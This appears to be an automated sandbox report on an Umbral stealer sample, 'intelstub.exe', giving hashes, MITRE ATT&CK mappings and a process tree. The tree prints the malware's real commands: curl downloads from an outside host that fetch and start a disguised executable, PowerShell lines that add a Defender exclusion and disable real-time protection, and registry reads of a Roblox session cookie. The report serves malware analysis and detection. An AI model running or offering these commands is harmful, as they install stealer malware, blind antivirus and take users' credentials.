umbral | 9bf776f889b56b90ef2cbe8cd971c68290f79374b7a7dcfa100e71a1cd45bd03

Resubmissions

08-12-2024 02:44

241208-c76qvsykax 10

08-12-2024 02:42

241208-c7bwgstldm 10

08-12-2024 02:40

241208-c6dcxstlal 10

08-12-2024 02:37

241208-c4lxaaxrcv 10

Analysis

max time kernel
80s
max time network
79s
platform
windows10-ltsc 2021_x64
resource
win10ltsc2021-20241023-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20241023-enlocale:en-usos:windows10-ltsc 2021-x64system
submitted
08-12-2024 02:44

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

intelstub.exe
Size

45KB
MD5

46dad3f34a1ff25b259446bac02cca4a
SHA1

08be9e8701d40bb0d968106793480eeb25adeb26
SHA256

9bf776f889b56b90ef2cbe8cd971c68290f79374b7a7dcfa100e71a1cd45bd03
SHA512

67338468551bc926a88b8e40f40177dea339debd701ad463f9e2cb763cf82f755743f3ee82c3626aa326c820afb93020d0d9526fc38affcb9b3af92725b393f6
SSDEEP

768:R4yvRGAc8gygFxLgkzLQgzcOybPofSzVxsBKfwJlVE3iPmbL52:9c8Oxz8YcO+A6zV4Kfd7

Score

10^/10

umbral defense_evasion execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 2 IoCs

resource	yara_rule
behavioral1/files/0x00290000000450e7-13.dat	family_umbral
behavioral1/memory/2376-15-0x000001BA21B90000-0x000001BA21BD0000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2420	powershell.exe
5024	powershell.exe
1676	powershell.exe
2340	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 1 IoCs

pid	Process
2376	IntelSoftwareAssetManagerService.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
28	ipinfo.io
29	ip-api.com
25	ipinfo.io

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\IME\zvcjd0.pfx	curl.exe

Checks processor information in registry 2 TTPs 8 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2488	wmic.exe

Suspicious behavior: EnumeratesProcesses 42 IoCs

pid	Process
4404	wmic.exe
4404	wmic.exe
4404	wmic.exe
4404	wmic.exe
2376	IntelSoftwareAssetManagerService.exe
4724	wmic.exe
4724	wmic.exe
4724	wmic.exe
4724	wmic.exe
2376	IntelSoftwareAssetManagerService.exe
2376	IntelSoftwareAssetManagerService.exe
2420	powershell.exe
2420	powershell.exe
2420	powershell.exe
5024	powershell.exe
5024	powershell.exe
5024	powershell.exe
1676	powershell.exe
1676	powershell.exe
1676	powershell.exe
4272	powershell.exe
4272	powershell.exe
4272	powershell.exe
4376	wmic.exe
4376	wmic.exe
4376	wmic.exe
4376	wmic.exe
2408	wmic.exe
2408	wmic.exe
2408	wmic.exe
2408	wmic.exe
744	wmic.exe
744	wmic.exe
744	wmic.exe
744	wmic.exe
2340	powershell.exe
2340	powershell.exe
2340	powershell.exe
2488	wmic.exe
2488	wmic.exe
2488	wmic.exe
2488	wmic.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	4404	wmic.exe
Token: SeSecurityPrivilege	4404	wmic.exe
Token: SeTakeOwnershipPrivilege	4404	wmic.exe
Token: SeLoadDriverPrivilege	4404	wmic.exe
Token: SeSystemProfilePrivilege	4404	wmic.exe
Token: SeSystemtimePrivilege	4404	wmic.exe
Token: SeProfSingleProcessPrivilege	4404	wmic.exe
Token: SeIncBasePriorityPrivilege	4404	wmic.exe
Token: SeCreatePagefilePrivilege	4404	wmic.exe
Token: SeBackupPrivilege	4404	wmic.exe
Token: SeRestorePrivilege	4404	wmic.exe
Token: SeShutdownPrivilege	4404	wmic.exe
Token: SeDebugPrivilege	4404	wmic.exe
Token: SeSystemEnvironmentPrivilege	4404	wmic.exe
Token: SeRemoteShutdownPrivilege	4404	wmic.exe
Token: SeUndockPrivilege	4404	wmic.exe
Token: SeManageVolumePrivilege	4404	wmic.exe
Token: 33	4404	wmic.exe
Token: 34	4404	wmic.exe
Token: 35	4404	wmic.exe
Token: 36	4404	wmic.exe
Token: SeIncreaseQuotaPrivilege	4404	wmic.exe
Token: SeSecurityPrivilege	4404	wmic.exe
Token: SeTakeOwnershipPrivilege	4404	wmic.exe
Token: SeLoadDriverPrivilege	4404	wmic.exe
Token: SeSystemProfilePrivilege	4404	wmic.exe
Token: SeSystemtimePrivilege	4404	wmic.exe
Token: SeProfSingleProcessPrivilege	4404	wmic.exe
Token: SeIncBasePriorityPrivilege	4404	wmic.exe
Token: SeCreatePagefilePrivilege	4404	wmic.exe
Token: SeBackupPrivilege	4404	wmic.exe
Token: SeRestorePrivilege	4404	wmic.exe
Token: SeShutdownPrivilege	4404	wmic.exe
Token: SeDebugPrivilege	4404	wmic.exe
Token: SeSystemEnvironmentPrivilege	4404	wmic.exe
Token: SeRemoteShutdownPrivilege	4404	wmic.exe
Token: SeUndockPrivilege	4404	wmic.exe
Token: SeManageVolumePrivilege	4404	wmic.exe
Token: 33	4404	wmic.exe
Token: 34	4404	wmic.exe
Token: 35	4404	wmic.exe
Token: 36	4404	wmic.exe
Token: SeDebugPrivilege	2376	IntelSoftwareAssetManagerService.exe
Token: SeDebugPrivilege	2828	firefox.exe
Token: SeDebugPrivilege	2828	firefox.exe
Token: SeIncreaseQuotaPrivilege	4724	wmic.exe
Token: SeSecurityPrivilege	4724	wmic.exe
Token: SeTakeOwnershipPrivilege	4724	wmic.exe
Token: SeLoadDriverPrivilege	4724	wmic.exe
Token: SeSystemProfilePrivilege	4724	wmic.exe
Token: SeSystemtimePrivilege	4724	wmic.exe
Token: SeProfSingleProcessPrivilege	4724	wmic.exe
Token: SeIncBasePriorityPrivilege	4724	wmic.exe
Token: SeCreatePagefilePrivilege	4724	wmic.exe
Token: SeBackupPrivilege	4724	wmic.exe
Token: SeRestorePrivilege	4724	wmic.exe
Token: SeShutdownPrivilege	4724	wmic.exe
Token: SeDebugPrivilege	4724	wmic.exe
Token: SeSystemEnvironmentPrivilege	4724	wmic.exe
Token: SeRemoteShutdownPrivilege	4724	wmic.exe
Token: SeUndockPrivilege	4724	wmic.exe
Token: SeManageVolumePrivilege	4724	wmic.exe
Token: 33	4724	wmic.exe
Token: 34	4724	wmic.exe

Suspicious use of FindShellTrayWindow 22 IoCs

pid	Process
2828	firefox.exe
2828	firefox.exe
2828	firefox.exe
2828	firefox.exe
2828	firefox.exe
2828	firefox.exe
2828	firefox.exe
2828	firefox.exe
2828	firefox.exe
2828	firefox.exe
2828	firefox.exe
2828	firefox.exe
2828	firefox.exe
2828	firefox.exe
2828	firefox.exe
2828	firefox.exe
2828	firefox.exe
2828	firefox.exe
2828	firefox.exe
2828	firefox.exe
2828	firefox.exe
2828	firefox.exe

Suspicious use of SendNotifyMessage 20 IoCs

pid	Process
2828	firefox.exe
2828	firefox.exe
2828	firefox.exe
2828	firefox.exe
2828	firefox.exe
2828	firefox.exe
2828	firefox.exe
2828	firefox.exe
2828	firefox.exe
2828	firefox.exe
2828	firefox.exe
2828	firefox.exe
2828	firefox.exe
2828	firefox.exe
2828	firefox.exe
2828	firefox.exe
2828	firefox.exe
2828	firefox.exe
2828	firefox.exe
2828	firefox.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
2828	firefox.exe
2828	firefox.exe
2828	firefox.exe
2828	firefox.exe
2828	firefox.exe
2828	firefox.exe
2828	firefox.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2552 wrote to memory of 4620	2552	intelstub.exe	81
PID 2552 wrote to memory of 4620	2552	intelstub.exe	81
PID 4620 wrote to memory of 1964	4620	cmd.exe	82
PID 4620 wrote to memory of 1964	4620	cmd.exe	82
PID 2552 wrote to memory of 2668	2552	intelstub.exe	83
PID 2552 wrote to memory of 2668	2552	intelstub.exe	83
PID 2668 wrote to memory of 4388	2668	cmd.exe	84
PID 2668 wrote to memory of 4388	2668	cmd.exe	84
PID 2552 wrote to memory of 3676	2552	intelstub.exe	85
PID 2552 wrote to memory of 3676	2552	intelstub.exe	85
PID 2552 wrote to memory of 4472	2552	intelstub.exe	86
PID 2552 wrote to memory of 4472	2552	intelstub.exe	86
PID 4472 wrote to memory of 4420	4472	cmd.exe	87
PID 4472 wrote to memory of 4420	4472	cmd.exe	87
PID 2552 wrote to memory of 3420	2552	intelstub.exe	91
PID 2552 wrote to memory of 3420	2552	intelstub.exe	91
PID 3420 wrote to memory of 2376	3420	cmd.exe	92
PID 3420 wrote to memory of 2376	3420	cmd.exe	92
PID 2376 wrote to memory of 4404	2376	IntelSoftwareAssetManagerService.exe	93
PID 2376 wrote to memory of 4404	2376	IntelSoftwareAssetManagerService.exe	93
PID 4840 wrote to memory of 2828	4840	firefox.exe	95
PID 4840 wrote to memory of 2828	4840	firefox.exe	95
PID 4840 wrote to memory of 2828	4840	firefox.exe	95
PID 4840 wrote to memory of 2828	4840	firefox.exe	95
PID 4840 wrote to memory of 2828	4840	firefox.exe	95
PID 4840 wrote to memory of 2828	4840	firefox.exe	95
PID 4840 wrote to memory of 2828	4840	firefox.exe	95
PID 4840 wrote to memory of 2828	4840	firefox.exe	95
PID 4840 wrote to memory of 2828	4840	firefox.exe	95
PID 4840 wrote to memory of 2828	4840	firefox.exe	95
PID 4840 wrote to memory of 2828	4840	firefox.exe	95
PID 2828 wrote to memory of 2392	2828	firefox.exe	97
PID 2828 wrote to memory of 2392	2828	firefox.exe	97
PID 2828 wrote to memory of 2392	2828	firefox.exe	97
PID 2828 wrote to memory of 2392	2828	firefox.exe	97
PID 2828 wrote to memory of 2392	2828	firefox.exe	97
PID 2828 wrote to memory of 2392	2828	firefox.exe	97
PID 2828 wrote to memory of 2392	2828	firefox.exe	97
PID 2828 wrote to memory of 2392	2828	firefox.exe	97
PID 2828 wrote to memory of 2392	2828	firefox.exe	97
PID 2828 wrote to memory of 2392	2828	firefox.exe	97
PID 2828 wrote to memory of 2392	2828	firefox.exe	97
PID 2828 wrote to memory of 2392	2828	firefox.exe	97
PID 2828 wrote to memory of 2392	2828	firefox.exe	97
PID 2828 wrote to memory of 2392	2828	firefox.exe	97
PID 2828 wrote to memory of 2392	2828	firefox.exe	97
PID 2828 wrote to memory of 2392	2828	firefox.exe	97
PID 2828 wrote to memory of 2392	2828	firefox.exe	97
PID 2828 wrote to memory of 2392	2828	firefox.exe	97
PID 2828 wrote to memory of 2392	2828	firefox.exe	97
PID 2828 wrote to memory of 2392	2828	firefox.exe	97
PID 2828 wrote to memory of 2392	2828	firefox.exe	97
PID 2828 wrote to memory of 2392	2828	firefox.exe	97
PID 2828 wrote to memory of 2392	2828	firefox.exe	97
PID 2828 wrote to memory of 2392	2828	firefox.exe	97
PID 2828 wrote to memory of 2392	2828	firefox.exe	97
PID 2828 wrote to memory of 2392	2828	firefox.exe	97
PID 2828 wrote to memory of 2392	2828	firefox.exe	97
PID 2828 wrote to memory of 2392	2828	firefox.exe	97
PID 2828 wrote to memory of 2392	2828	firefox.exe	97
PID 2828 wrote to memory of 2392	2828	firefox.exe	97
PID 2828 wrote to memory of 2392	2828	firefox.exe	97
PID 2828 wrote to memory of 2392	2828	firefox.exe	97
PID 2828 wrote to memory of 2392	2828	firefox.exe	97

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

cURL User-Agent 2 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	5	curl/8.7.1
HTTP User-Agent header	15	curl/8.7.1

C:\Users\Admin\AppData\Local\Temp\intelstub.exe
"C:\Users\Admin\AppData\Local\Temp\intelstub.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2552
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl https://cdn.z60ic9762h.click/zvcjd0.pfx -o C:\Windows\IME\zvcjd0.pfx --silent
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4620
- - C:\Windows\system32\curl.exe
    curl https://cdn.z60ic9762h.click/zvcjd0.pfx -o C:\Windows\IME\zvcjd0.pfx --silent
    3⤵
    - Drops file in Windows directory
    PID:1964
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c certutil -importpfx -p your_password C:\Windows\IME\zvcjd0.pfx NoExport
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2668
- - C:\Windows\system32\certutil.exe
    certutil -importpfx -p your_password C:\Windows\IME\zvcjd0.pfx NoExport
    3⤵
    PID:4388
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /F /Q C:\Windows\IME\zvcjd0.pfx
  2⤵
  PID:3676
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl https://cdn.z60ic9762h.click/abc.bin -o C:\Users\Public\Documents\IntelSoftwareAssetManagerService.exe --silent
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4472
- - C:\Windows\system32\curl.exe
    curl https://cdn.z60ic9762h.click/abc.bin -o C:\Users\Public\Documents\IntelSoftwareAssetManagerService.exe --silent
    3⤵
    PID:4420
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start C:\Users\Public\Documents\IntelSoftwareAssetManagerService.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3420
- - C:\Users\Public\Documents\IntelSoftwareAssetManagerService.exe
    C:\Users\Public\Documents\IntelSoftwareAssetManagerService.exe
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2376
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" csproduct get uuid
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4404
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" csproduct get uuid
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4724
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Public\Documents\IntelSoftwareAssetManagerService.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:2420
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:5024
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:1676
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4272
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" os get Caption
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4376
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" computersystem get totalphysicalmemory
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2408
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" csproduct get uuid
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:744
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:2340
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic" path win32_VideoController get name
      4⤵
      Detects videocard installed
      Suspicious behavior: EnumeratesProcesses
      PID:2488

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4840
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe"
  2⤵
  - Checks processor information in registry
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2828
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1960 -parentBuildID 20240401114208 -prefsHandle 1868 -prefMapHandle 1872 -prefsLen 23681 -prefMapSize 244658 -appDir "C:\Program Files\Mozilla Firefox\browser" - {0e557aa8-7dd0-4ee1-b015-683ebb386e94} 2828 "\\.\pipe\gecko-crash-server-pipe.2828" gpu
    3⤵
    PID:2392
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2424 -parentBuildID 20240401114208 -prefsHandle 2392 -prefMapHandle 2388 -prefsLen 23717 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {154f2daa-d77d-40f3-a60f-50a98253f413} 2828 "\\.\pipe\gecko-crash-server-pipe.2828" socket
    3⤵
    PID:460
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3176 -childID 1 -isForBrowser -prefsHandle 3184 -prefMapHandle 3416 -prefsLen 23858 -prefMapSize 244658 -jsInitHandle 904 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {cb5a090a-8df4-4b22-ba1e-e065317884b4} 2828 "\\.\pipe\gecko-crash-server-pipe.2828" tab
    3⤵
    PID:4716
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3940 -childID 2 -isForBrowser -prefsHandle 3952 -prefMapHandle 3948 -prefsLen 29091 -prefMapSize 244658 -jsInitHandle 904 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {123f6119-43c7-41bf-9d85-9a07923b8cc3} 2828 "\\.\pipe\gecko-crash-server-pipe.2828" tab
    3⤵
    PID:4596
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4940 -parentBuildID 20240401114208 -sandboxingKind 0 -prefsHandle 4876 -prefMapHandle 4864 -prefsLen 29091 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {36193a9a-e300-4283-80d0-8e319a11013e} 2828 "\\.\pipe\gecko-crash-server-pipe.2828" utility
    3⤵
    - Checks processor information in registry
    PID:552
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5252 -childID 3 -isForBrowser -prefsHandle 5220 -prefMapHandle 3712 -prefsLen 27051 -prefMapSize 244658 -jsInitHandle 904 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {4719bd39-2e54-4e92-95a9-d031cbc7a68d} 2828 "\\.\pipe\gecko-crash-server-pipe.2828" tab
    3⤵
    PID:860
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5452 -childID 4 -isForBrowser -prefsHandle 5372 -prefMapHandle 5376 -prefsLen 27051 -prefMapSize 244658 -jsInitHandle 904 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {ce8392fe-c8db-4eec-993c-e7599a560f19} 2828 "\\.\pipe\gecko-crash-server-pipe.2828" tab
    3⤵
    PID:2640
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5568 -childID 5 -isForBrowser -prefsHandle 5648 -prefMapHandle 5644 -prefsLen 27051 -prefMapSize 244658 -jsInitHandle 904 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {f5c7075d-d753-4320-99bb-5ffb6b810e58} 2828 "\\.\pipe\gecko-crash-server-pipe.2828" tab
    3⤵
    PID:1672
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=6080 -childID 6 -isForBrowser -prefsHandle 6108 -prefMapHandle 6104 -prefsLen 27211 -prefMapSize 244658 -jsInitHandle 904 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {8d1d0c4e-962f-49fd-8479-afea47f7e9bd} 2828 "\\.\pipe\gecko-crash-server-pipe.2828" tab
    3⤵
    PID:4580
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4696 -childID 7 -isForBrowser -prefsHandle 5108 -prefMapHandle 5080 -prefsLen 27998 -prefMapSize 244658 -jsInitHandle 904 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {6b2cb0a7-5bfd-4127-a565-6bab1596baa3} 2828 "\\.\pipe\gecko-crash-server-pipe.2828" tab
    3⤵
    PID:808
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=6104 -childID 8 -isForBrowser -prefsHandle 3604 -prefMapHandle 5180 -prefsLen 27998 -prefMapSize 244658 -jsInitHandle 904 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {c63557c4-6c08-4d39-b413-cbb6e0d20ad2} 2828 "\\.\pipe\gecko-crash-server-pipe.2828" tab
    3⤵
    PID:4588
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=6628 -childID 9 -isForBrowser -prefsHandle 3604 -prefMapHandle 6644 -prefsLen 27998 -prefMapSize 244658 -jsInitHandle 904 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {26c0cfa0-c67b-4e2d-94dd-c42f3cf8fe4c} 2828 "\\.\pipe\gecko-crash-server-pipe.2828" tab
    3⤵
    PID:1992
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=6612 -childID 10 -isForBrowser -prefsHandle 6744 -prefMapHandle 6752 -prefsLen 27998 -prefMapSize 244658 -jsInitHandle 904 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {2276a75b-d5bb-4355-b8a0-c22f6000bf17} 2828 "\\.\pipe\gecko-crash-server-pipe.2828" tab
    3⤵
    PID:4120

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Indicator Removal

T1070

File Deletion

T1070.004

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
3eb3833f769dd890afc295b977eab4b4

SHA1
e857649b037939602c72ad003e5d3698695f436f

SHA256
c485a6e2fd17c342fca60060f47d6a5655a65a412e35e001bb5bf88d96e6e485

SHA512
c24bbc8f278478d43756807b8c584d4e3fb2289db468bc92986a489f74a8da386a667a758360a397e77e018e363be8912ac260072fa3e31117ad0599ac749e72

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
60b3262c3163ee3d466199160b9ed07d

SHA1
994ece4ea4e61de0be2fdd580f87e3415f9e1ff6

SHA256
e3b30f16d41f94cba2b8a75f35c91ae7418465abfbfe5477ec0551d1952b2fdb

SHA512
081d2015cb94477eb0fbc38f44b6d9b4a3204fb3ad0b7d0e146a88ab4ab9a0d475207f1adae03f4a81ccc5beb7568dc8be1249f69e32fe56efd9ee2f6ee3b1af

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
a9ab4419e3986b8e240c9478cc52eb51

SHA1
7e1b1b31bc47b9d4dccea76e6511d3632cb0395e

SHA256
87c993fd034df762cdf24506c046959e98985d38697b234f7ca092db49671846

SHA512
8f3d3ac39795b11719f40d3eb9a574576c8a5e6b837a1f3d63f7996faaf728e02ec5e26f4bed71ab850c9fa9272ec94fb6449b251eadc82672f84bdd5ec256a6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
494de073067224860ddfa87f20c1fcd5

SHA1
139fe0d6cc741fdbb891b5e0df6e236fcdfdd7de

SHA256
5b67e54cbb8566db2c781ed86c2e026bef8e1c6e5b454c42872ffba7782a9579

SHA512
2457bb775ad7ce2b62b35f5cddfab1c1e1b16dcba83e38e7b5fb2e205048ffc5d220a29a9b0cfe218800d46fc3888480a0822877cf392aeadcf9287b784a390a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
3cd1b473bd9fb31842aea30f9d605524

SHA1
b4a28365cb5a1d6799c93b16f179ba7b2e614104

SHA256
a5db10355284cf19f3bbb2270159d4cb5771c00cf3ec885912181ffd637ac1c9

SHA512
b0fe7e3da43ab3159030e9764b9f6d81c6aa69b0cbf461902c0e4ab14e51a7b9095a787202a03cc1adcb22f562c23fcd728bd46e348342d2bb692851350a71f6

Download Submit
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\4ld3ilkk.default-release\activity-stream.discovery_stream.json

Filesize
27KB

MD5
d647cba51b9697855180b92bfe64c270

SHA1
c3eaf4ad6ab2db412a5c447137eee5d564a2f4a3

SHA256
bd182d08eb58af8b43a37e533403d3b003a90cb9df083121c2d339a0dd1a1c05

SHA512
73afca76b9fd6f22dca4735aefc701299cb45ee32ce9542e150d791527c0b6c52649161e94a0f8ef24af8c67f6ea3a28f16a8a1b3d731a57bdf8058e18248c88

Download Submit
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\4ld3ilkk.default-release\settings\main\ms-language-packs\browser\newtab\asrouter.ftl

Filesize
15KB

MD5
96c542dec016d9ec1ecc4dddfcbaac66

SHA1
6199f7648bb744efa58acf7b96fee85d938389e4

SHA256
7f32769d6bb4e875f58ceb9e2fbfdc9bd6b82397eca7a4c5230b0786e68f1798

SHA512
cda2f159c3565bc636e0523c893b293109de2717142871b1ec78f335c12bad96fc3f62bcf56a1a88abdeed2ac3f3e5e9a008b45e24d713e13c23103acc15e658

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mer0hvax.4oc.ps1

Filesize
60B

